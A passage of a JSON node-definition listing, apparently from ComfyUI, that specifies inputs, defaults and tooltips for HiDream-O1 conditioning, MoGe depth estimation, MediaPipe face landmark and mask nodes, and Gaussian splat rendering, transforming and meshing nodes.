"image_7", "image_8", "image_9", "image_10"], "min": 1}}]}}, "input_order": {"required": ["positive", "negative", "images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "HiDreamO1ReferenceImages", "display_name": "HiDream-O1 Reference Images", "description": "Attach 1-10 reference images to conditioning, one for edit instructionor multiple for subject-driven personalization.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/conditioning/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HiDreamO1PatchSeamSmoothing": {"input": {"required": {"model": ["MODEL", {}], "start_percent": ["FLOAT", {"tooltip": "Sampling progress (0=start, 1=end) at which the blend turns ON.", "default": 0.8, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": ["FLOAT", {"tooltip": "Sampling progress at which the blend turns OFF.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "pattern": ["COMBO", {"tooltip": "Shift layout. single_shift: one pass at the natural patch grid + others offset. symmetric: all passes off-grid, shifts split around origin.", "default": "single_shift", "multiselect": false, "options": ["single_shift", "symmetric"]}], "passes": ["COMBO", {"tooltip": "Number of passes per gated step. 2/4 = fixed. ramp_*: pass count increases as sampling approaches end (more smoothing where seams are most visible).", "default": "2", "multiselect": false, "options": ["2", "4", "ramp_2_4", "ramp_2_4_8"]}], "blend": ["COMBO", {"tooltip": "average: equal-weight mean. window: Hann-windowed weighting favoring each pass away from its patch boundaries. median: per-pixel median, rejects wraparound-outlier passes.", "default": "average", "multiselect": false, "options": ["average", "window", "median"]}], "strength": ["FLOAT", {"tooltip": "Interpolation between the natural-grid pred (0) and the averaged result (1).", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "start_percent", "end_percent", "pattern", "passes", "blend", "strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HiDreamO1PatchSeamSmoothing", "display_name": "HiDream-O1 Patch Seam Smoothing", "description": "Average the model output across multiple shifted patch-grid positions during the late portion of sampling. Cancels seams.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/patch/hidream", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveGLB": {"input": {"required": {"mesh": ["MESH,FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_OBJ,FILE_3D_FBX,FILE_3D_STL,FILE_3D_USDZ,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_SPZ,FILE_3D_KSPLAT,FILE_3D_SPLAT_ANY,FILE_3D_POINT_CLOUD_ANY,FILE_3D", {"tooltip": "Mesh or 3D file to save"}], "filename_prefix": ["STRING", {"default": "3d/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["mesh", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveGLB", "display_name": "Save 3D Model", "description": "", "python_module": "comfy_extras.nodes_save_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export 3d model", "save mesh"], "essentials_category": "Basics", "has_intermediate_output": false}, "LoadMoGeModel": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["MOGE_MODEL"], "output_is_list": [false], "output_name": ["MOGE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadMoGeModel", "display_name": "Load MoGe Model", "description": "", "python_module": "comfy_extras.nodes_moge", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MoGeInference": {"input": {"required": {"moge_model": ["MOGE_MODEL", {}], "image": ["IMAGE", {}], "resolution_level": ["INT", {"tooltip": "0 = fastest, 9 = most detail.", "default": 9, "min": 0, "max": 9}], "fov_x_degrees": ["FLOAT", {"tooltip": "Horizontal field of view of the source camera. Sets the focal length used to unproject the depth map into 3D. 0 = auto-recover from the predicted points.", "advanced": true, "default": 0.0, "min": 0.0, "max": 170.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "Images per inference call. Lower if you OOM on a long video / image set.", "default": 4, "min": 1, "max": 64}], "force_projection": ["BOOLEAN", {"advanced": true, "default": true}], "apply_mask": ["BOOLEAN", {"tooltip": "Set masked-out (sky / invalid) pixels to inf in points and depth so meshing culls them. Disable to keep the raw predicted geometry everywhere; the mask is still returned separately.", "advanced": true, "default": true}]}}, "input_order": {"required": ["moge_model", "image", "resolution_level", "fov_x_degrees", "batch_size", "force_projection", "apply_mask"]}, "is_input_list": false, "output": ["MOGE_GEOMETRY"], "output_is_list": [false], "output_name": ["moge_geometry"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGeInference", "display_name": "Run MoGe Inference", "description": "Run MoGe on a single image to estimate depth and geometry.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "depth", "geometry", "depth estimation", "geometry estimation"], "essentials_category": null, "has_intermediate_output": false}, "MoGePanoramaInference": {"input": {"required": {"moge_model": ["MOGE_MODEL", {}], "image": ["IMAGE", {"tooltip": "Equirectangular panorama (any aspect)."}], "resolution_level": ["INT", {"tooltip": "Per-view detail (0 = fastest, 9 = most detailed).", "default": 9, "min": 0, "max": 9}], "split_resolution": ["INT", {"tooltip": "Resolution of each perspective split.", "default": 512, "min": 256, "max": 1024}], "merge_resolution": ["INT", {"tooltip": "Long-side resolution of the merged equirect distance map.", "default": 1920, "min": 256, "max": 8192}], "batch_size": ["INT", {"tooltip": "Views per inference batch (12 splits total).", "default": 4, "min": 1, "max": 12}]}}, "input_order": {"required": ["moge_model", "image", "resolution_level", "split_resolution", "merge_resolution", "batch_size"]}, "is_input_list": false, "output": ["MOGE_GEOMETRY"], "output_is_list": [false], "output_name": ["moge_geometry"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGePanoramaInference", "display_name": "Run MoGe Panorama Inference", "description": "Run MoGe on an equirectangular panorama by splitting it into 12 perspective views, running inference on each, and merging the results into a single depth map.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "panorama", "depth", "geometry", "depth estimation", "geometry estimation"], "essentials_category": null, "has_intermediate_output": false}, "MoGeRender": {"input": {"required": {"moge_geometry": ["MOGE_GEOMETRY", {}], "output": ["COMBO", {"tooltip": "DirectX vs OpenGL controls the normal-map green-channel convention. DirectX: green = -Y down (Unreal). OpenGL: green = +Y up (Blender, Substance, Unity, glTF).", "default": "depth", "multiselect": false, "options": ["depth", "depth_colored", "normal_opengl", "normal_directx", "mask"]}]}}, "input_order": {"required": ["moge_geometry", "output"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGeRender", "display_name": "Render MoGe Geometry", "description": "Render a depth map or normal map from geometry data", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "render", "geometry", "depth", "normal"], "essentials_category": null, "has_intermediate_output": false}, "MoGePointMapToMesh": {"input": {"required": {"moge_geometry": ["MOGE_GEOMETRY", {}], "batch_index": ["INT", {"tooltip": "Which image of a batched MoGe geometry to mesh. Per-image vertex counts differ, so batches can't be stacked into a single MESH.", "default": 0, "min": 0, "max": 4096}], "decimation": ["INT", {"tooltip": "Vertex stride; 1 = full resolution.", "default": 1, "min": 1, "max": 8}], "discontinuity_threshold": ["FLOAT", {"tooltip": "Drop pixels whose 3x3 depth span exceeds this fraction. 0 = off.", "default": 0.04, "min": 0.0, "max": 1.0, "step": 0.01}], "texture": ["BOOLEAN", {"tooltip": "Carry the source image through as the baseColor texture.", "default": true}]}}, "input_order": {"required": ["moge_geometry", "batch_index", "decimation", "discontinuity_threshold", "texture"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGePointMapToMesh", "display_name": "Convert MoGe Point Map to Mesh", "description": "Convert a MoGe point map into a 3D mesh.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "mesh", "geometry", "point map"], "essentials_category": null, "has_intermediate_output": false}, "LoadMediaPipeFaceLandmarker": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Face detection model from models/detection/.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["FACE_DETECTION_MODEL"], "output_is_list": [false], "output_name": ["FACE_DETECTION_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadMediaPipeFaceLandmarker", "display_name": "Load Face Detection Model (MediaPipe)", "description": "", "python_module": "comfy_extras.nodes_mediapipe", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceLandmarker": {"input": {"required": {"face_detection_model": ["FACE_DETECTION_MODEL", {}], "image": ["IMAGE", {}], "detector_variant": ["COMBO", {"tooltip": "Face detector range. 'short' is tuned for close-up faces (within ~2 m of the camera); 'full' covers farther / smaller faces (up to ~5 m) but is slower. 'both' runs both detectors and keeps whichever found more faces per frame (~2\u00d7 detection cost).", "default": "short", "multiselect": false, "options": ["short", "full", "both"]}], "num_faces": ["INT", {"tooltip": "Maximum faces to return per frame. 0 = no cap (return all detected).", "default": 1, "min": 0, "max": 16, "step": 1}], "min_confidence": ["FLOAT", {"tooltip": "BlazeFace score threshold. Lower to catch small/occluded faces.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "missing_frame_fallback": ["COMBO", {"tooltip": "Per-frame behaviour when detection fails in a batch. 'empty' leaves the frame faceless. 'previous' copies the most recent successful detection. 'interpolate' lerps landmarks/bbox/blendshapes between bracketing successful frames. Multi-face: pairs faces across frames by greedy bbox-centre NN.", "advanced": true, "default": "empty", "multiselect": false, "options": ["empty", "previous", "interpolate"]}]}}, "input_order": {"required": ["face_detection_model", "image", "detector_variant", "num_faces", "min_confidence", "missing_frame_fallback"]}, "is_input_list": false, "output": ["FACE_LANDMARKS", "BOUNDING_BOX"], "output_is_list": [false, false], "output_name": ["face_landmarks", "bboxes"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "MediaPipeFaceLandmarker", "display_name": "Detect Face Landmarks (MediaPipe)", "description": "Detects facial landmarks using MediaPipe model.", "python_module": "comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceMeshVisualize": {"input": {"required": {"face_landmarks": ["FACE_LANDMARKS", {}], "connections": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "'all' = oval+eyes+brows+lips+irises+nose. 'fill' = solid face_oval polygon (silhouette mask). 'custom' = toggle each feature individually (including 'tesselation', the full 2547-edge wireframe).", "options": [{"key": "all", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"face_oval": ["BOOLEAN", {"tooltip": "Draw the 'face_oval' connection set.", "default": true}], "lips": ["BOOLEAN", {"tooltip": "Draw the 'lips' connection set.", "default": true}], "left_eye": ["BOOLEAN", {"tooltip": "Draw the 'left_eye' connection set.", "default": true}], "right_eye": ["BOOLEAN", {"tooltip": "Draw the 'right_eye' connection set.", "default": true}], "left_eyebrow": ["BOOLEAN", {"tooltip": "Draw the 'left_eyebrow' connection set.", "default": true}], "right_eyebrow": ["BOOLEAN", {"tooltip": "Draw the 'right_eyebrow' connection set.", "default": true}], "irises": ["BOOLEAN", {"tooltip": "Draw the 'irises' connection set.", "default": true}], "nose": ["BOOLEAN", {"tooltip": "Draw the 'nose' connection set.", "default": true}], "tesselation": ["BOOLEAN", {"tooltip": "Draw the 'tesselation' connection set.", "default": false}]}}}]}], "color": ["COLOR", {"default": "#00ff00", "socketless": true}], "thickness": ["INT", {"tooltip": "Edge line thickness in pixels. 0 disables edge drawing.", "default": 1, "min": 0, "max": 8, "step": 1}], "point_size": ["INT", {"tooltip": "Landmark dot radius in pixels. 0 disables point drawing.", "default": 2, "min": 0, "max": 16, "step": 1}]}, "optional": {"image": ["IMAGE", {"tooltip": "If not connected, a black canvas will be used."}]}}, "input_order": {"required": ["face_landmarks", "connections", "color", "thickness", "point_size"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MediaPipeFaceMeshVisualize", "display_name": "Visualize Face Landmarks (MediaPipe)", "description": "Draws face landmarks mesh on the input image.", "python_module": "comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection", "visualize"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceMask": {"input": {"required": {"face_landmarks": ["FACE_LANDMARKS", {}], "regions": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "'all' = union of face_oval+lips+eyes+irises (which collapses to face_oval since it encloses the rest). 'custom' = toggle each region individually for combos like lips+eyes.", "options": [{"key": "all", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"face_oval": ["BOOLEAN", {"tooltip": "Include the 'face_oval' region in the mask.", "default": true}], "lips": ["BOOLEAN", {"tooltip": "Include the 'lips' region in the mask.", "default": false}], "left_eye": ["BOOLEAN", {"tooltip": "Include the 'left_eye' region in the mask.", "default": false}], "right_eye": ["BOOLEAN", {"tooltip": "Include the 'right_eye' region in the mask.", "default": false}], "irises": ["BOOLEAN", {"tooltip": "Include the 'irises' region in the mask.", "default": false}]}}}]}]}}, "input_order": {"required": ["face_landmarks", "regions"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "MediaPipeFaceMask", "display_name": "Draw Face Mask (MediaPipe)", "description": "Draws a mask from face landmarks.", "python_module": "comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face mask", "blazeface", "face detection", "visualize"], "essentials_category": null, "has_intermediate_output": false}, "SplatToFile3D": {"input": {"required": {"splat": ["SPLAT", {}], "format": ["COMBO", {"tooltip": "ply: standard 3D Gaussian Splat with full spherical harmonics. ksplat: mkkellogg SplatBuffer (level 0, uncompressed), base color only spz: Niantic gzip-compressed (~10x smaller), base color only ", "multiselect": false, "options": ["ply", "ksplat", "spz"]}]}}, "input_order": {"required": ["splat", "format"]}, "is_input_list": false, "output": ["FILE_3D_SPLAT_ANY"], "output_is_list": [false], "output_name": ["model_3d"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplatToFile3D", "display_name": "Create 3D File (from Splat)", "description": "Serialize a gaussian splat to a File3D object for Save / Preview 3D nodes. Supports one item per batch only.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["gaussian to ply", "splat to file", "export gaussian"], "essentials_category": null, "has_intermediate_output": false}, "File3DToSplat": {"input": {"required": {"model_3d": ["FILE_3D,FILE_3D_SPLAT_ANY,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_KSPLAT,FILE_3D_SPZ", {"tooltip": "A gaussian splat 3D file"}]}}, "input_order": {"required": ["model_3d"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "File3DToSplat", "display_name": "Get Splat", "description": "Parse a splat File3D into a gaussian splat. Inverse of Create 3D File (from Splat). Supported format: PLY, SPLAT, KSPLAT, SPZ. PLY carries full spherical harmonics, the other formats are base color only. Format is auto-detected from the file contents.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load splat", "ply to splat", "import splat", "file to splat"], "essentials_category": null, "has_intermediate_output": false}, "RenderSplat": {"input": {"required": {"splat": ["SPLAT", {}], "width": ["INT", {"default": 1024, "min": 64, "max": 2048, "step": 8}], "height": ["INT", {"default": 1024, "min": 64, "max": 2048, "step": 8}], "frames": ["INT", {"tooltip": "-1, 0, 1 = single still image; >1 = turntable, the camera orbits over a full 360 turn (works with any camera_info). Negative value orbits the other way.", "default": 1, "min": -240, "max": 240}], "splat_scale": ["FLOAT", {"tooltip": "Multiplier on each splat's projected footprint (lower = crisper points, higher = softer/fuller surface).", "advanced": true, "default": 1.0, "min": 0.1, "max": 5.0, "step": 0.05}], "sharpen": ["FLOAT", {"tooltip": "Sharpen overlapping splats: 1.0 = physically-correct blend; higher biases each pixel toward its dominant (nearest) splat for crisper texture, without shrinking splats or opening gaps. Non-physical above 1.", "default": 2.0, "min": 1.0, "max": 8.0, "step": 0.5}], "headlight_shading": ["FLOAT", {"tooltip": "Diffuse shading from a light at the camera (headlight), using the splat surfel normals: darkens surfaces that turn away from view to reveal form/curvature. 0 = flat albedo, 1 = strongest shading.", "advanced": true, "default": 0.0, "min": 0.0, "max": 3.0, "step": 0.05}], "opacity_threshold": ["FLOAT", {"tooltip": "Cull gaussians with opacity below this (removes faint floaters).", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "render_style": ["COMBO", {"tooltip": "What the image output shows: color, clay (neutral-albedo shaded), depth (near=bright), normal (OpenGL normal map).", "multiselect": false, "options": ["color", "clay", "depth", "normal"]}], "background": ["COLOR", {"default": "#000000", "socketless": true}]}, "optional": {"bg_image": ["IMAGE", {"tooltip": "Optional background plate composited behind the splat (overrides the solid background colour). Resized to the render size; a batch is used per frame, a single image for all. color/clay only."}], "camera_info": ["LOAD3D_CAMERA", {"tooltip": "Camera to render from - a Load3D / Preview3D camera or a Create Camera Info node. If empty, the splat is auto-framed from a default 3/4 view."}]}}, "input_order": {"required": ["splat", "width", "height", "frames", "splat_scale", "sharpen", "headlight_shading", "opacity_threshold", "render_style", "background"], "optional": ["bg_image", "camera_info"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["image", "mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "RenderSplat", "display_name": "Render Splat", "description": "Render a gaussian splat as an image with an anisotropic EWA rasterizer (oriented elliptical splats, antialiased, depth-sorted front-to-back). The camera comes from a camera_info input (Load / Preview 3D, or a Create Camera Info node); leave it empty to auto-frame the splat. Set frames greater than 1 for a turntable batch of images to feed a Video node.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat to image", "render splat", "gaussian turntable"], "essentials_category": null, "has_intermediate_output": false}, "CreateCameraInfo": {"input": {"required": {"mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to define the camera: orbit angles, an explicit position, or a position + quaternion.", "options": [{"key": "orbit", "inputs": {"required": {"yaw": ["FLOAT", {"default": 35.0, "min": -360.0, "max": 360.0, "step": 1.0}], "pitch": ["FLOAT", {"default": 30.0, "min": -89.0, "max": 89.0, "step": 1.0}], "distance": ["FLOAT", {"tooltip": "Camera distance from the target.", "default": 4.0, "min": 0.01, "max": 1000.0, "step": 0.01}]}}}, {"key": "look_at", "inputs": {"required": {"position_x": ["FLOAT", {"tooltip": "Camera position in world space (right-handed, Y-up).", "default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_y": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_z": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}]}}}, {"key": "quaternion", "inputs": {"required": {"position_x": ["FLOAT", {"tooltip": "Camera position in world space (right-handed, Y-up).", "default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_y": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_z": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "quat_x": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_y": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_z": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_w": ["FLOAT", {"tooltip": "Camera world-rotation quaternion (three.js: looks down local -Z). Normalized for you.", "default": 1.0, "min": -1.0, "max": 1.0, "step": 0.001}]}}}]}], "target_x": ["FLOAT", {"tooltip": "Look-at point (orbit pivot / aim). In orbit mode, move it to pan/translate the whole camera. Ignored in quaternion mode. Defaults to the origin.", "advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "target_y": ["FLOAT", {"advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "target_z": ["FLOAT", {"advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "roll": ["FLOAT", {"tooltip": "Camera roll about the view axis, degrees.", "default": 0.0, "min": -180.0, "max": 180.0, "step": 1.0}], "fov": ["FLOAT", {"tooltip": "Vertical field of view in degrees.", "default": 35.0, "min": 1.0, "max": 120.0, "step": 1.0}], "zoom": ["FLOAT", {"tooltip": "Digital zoom (focal-length multiplier). >1 zooms in without moving the camera.", "default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "camera_type": ["COMBO", {"tooltip": "Projection used by Render Splat: perspective (foreshortening) or orthographic (parallel).", "multiselect": false, "options": ["perspective", "orthographic"]}]}}, "input_order": {"required": ["mode", "target_x", "target_y", "target_z", "roll", "fov", "zoom", "camera_type"]}, "is_input_list": false, "output": ["LOAD3D_CAMERA"], "output_is_list": [false], "output_name": ["camera_info"], "output_tooltips": [null], "output_matchtypes": null, "name": "CreateCameraInfo", "display_name": "Create Camera Info", "description": "Build a camera_infoMode 'orbit' aims with yaw/pitch/distance around the target; 'look_at' places the camera at world position. Coordinates are the viewer's world space (right-handed,Y-up).", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["camera position", "make camera info", "orbit camera", "look at camera"], "essentials_category": null, "has_intermediate_output": false}, "TransformSplat": {"input": {"required": {"splat": ["SPLAT", {}], "translate_x": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "translate_y": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "translate_z": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "rotate_x": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "rotate_y": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "rotate_z": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "scale_x": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "scale_y": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "scale_z": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["splat", "translate_x", "translate_y", "translate_z", "rotate_x", "rotate_y", "rotate_z", "scale_x", "scale_y", "scale_z"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "TransformSplat", "display_name": "Transform Splat", "description": "Translate, rotate, and scale a gaussian splat. Non-uniform scale also reshapes every individual splat, slower process.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["move splat", "rotate splat", "scale splat", "gaussian transform"], "essentials_category": null, "has_intermediate_output": false}, "GetSplatCount": {"input": {"required": {"splat": ["SPLAT", {}]}, "hidden": {"unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["splat"], "hidden": ["unique_id"]}, "is_input_list": false, "output": ["SPLAT", "INT"], "output_is_list": [false, false], "output_name": ["splat", "count"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GetSplatCount", "display_name": "Get Splat Count", "description": "Returns the number of splats summed across the batch.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat count", "gaussian count", "number of splats", "splat info"], "essentials_category": null, "has_intermediate_output": false}, "MergeSplat": {"input": {"required": {"splats": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"splat": ["SPLAT", {}]}}, "prefix": "splat", "min": 2, "max": 32}}]}}, "input_order": {"required": ["splats"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "MergeSplat", "display_name": "Merge Splats", "description": "Concatenate any number of gaussian splats into one. Unioning several decodes of the same latent at different seeds densifies the surface, this can improve surface quality when meshing.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["union splat", "densify gaussian", "combine splat", "merge gaussian"], "essentials_category": null, "has_intermediate_output": false}, "SplatToMesh": {"input": {"required": {"splat": ["SPLAT", {}], "resolution": ["INT", {"tooltip": "Density-grid resolution along the longest axis. Higher = finer surface, more VRAM/time (grows with resolution^3).", "default": 384, "min": 64, "max": 768, "step": 16}], "kernel": ["INT", {"tooltip": "Max splat half-width in voxels. Each gaussian is rasterized over a window sized to its own 3-sigma, capped here - small surfels stay cheap, large ones aren't truncated. Raise if sparse splats leave gaps.", "default": 5, "min": 1, "max": 8}], "smooth": ["INT", {"tooltip": "Taubin mesh-smoothing iterations. Smooths the surface without shrinking it (volume-preserving), unlike blurring the density. 0 = raw surface.", "advanced": true, "default": 0, "min": 0, "max": 60}], "level": ["FLOAT", {"tooltip": "Iso-surface level. Auto-picked by Otsu; this biases it (1.0 = auto, lower = fatter/more-connected surface, higher = thinner/tighter).", "default": 0.4, "min": 0.0, "max": 2.0, "step": 0.01}], "min_component": ["INT", {"tooltip": "Drop connected components smaller than this many vertices (0 = keep all). Removes detached floater blobs and the inner shell of the double wall.", "advanced": true, "default": 500, "min": 0, "max": 100000, "step": 50}], "min_opacity": ["FLOAT", {"tooltip": "Ignore gaussians fainter than this before meshing.", "advanced": true, "default": 0.02, "min": 0.0, "max": 1.0, "step": 0.01}], "color_sharpen": ["FLOAT", {"tooltip": "Crisp up the vertex texture: 1.0 = physically-correct blend; higher biases each voxel's colour toward its dominant gaussian instead of averaging neighbours (de-smears the texture). Colour only - geometry is unchanged.", "default": 2.0, "min": 1.0, "max": 8.0, "step": 0.5}]}}, "input_order": {"required": ["splat", "resolution", "kernel", "smooth", "level", "min_component", "min_opacity", "color_sharpen"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["mesh"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplatToMesh", "display_name": "Extract Mesh from Splat", "description": "Extract a coloured mesh from a gaussian splat.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat to mesh", "gaussian surface nets", "splat surface", "mesh splat"], "essentials_category": null, "has_intermediate_output": false}, "TripoSplatPreprocessImage": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "erode_radius": ["INT", {"tooltip": "Erode the alpha matte by this pixel radius before cropping (avoids border bleed).", "default": 1, "min": 0, "max": 16}], "size": ["INT", {"tooltip": "Square image size. The model is trained at 1024; other sizes run but are off-distribution.", "default": 1024, "min": 256, "max": 4096, "step": 16}]}}, "input_order": {"required": ["image", "mask", "erode_radius", "size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["image"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoSplatPreprocessImage", "display_name": "TripoSplat Preprocess Image", "description": "Crop center each image to a square canvas on a black background and add padding.", "python_module": "comfy_extras.nodes_triposplat", "category": "model/conditioning/triposplat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, 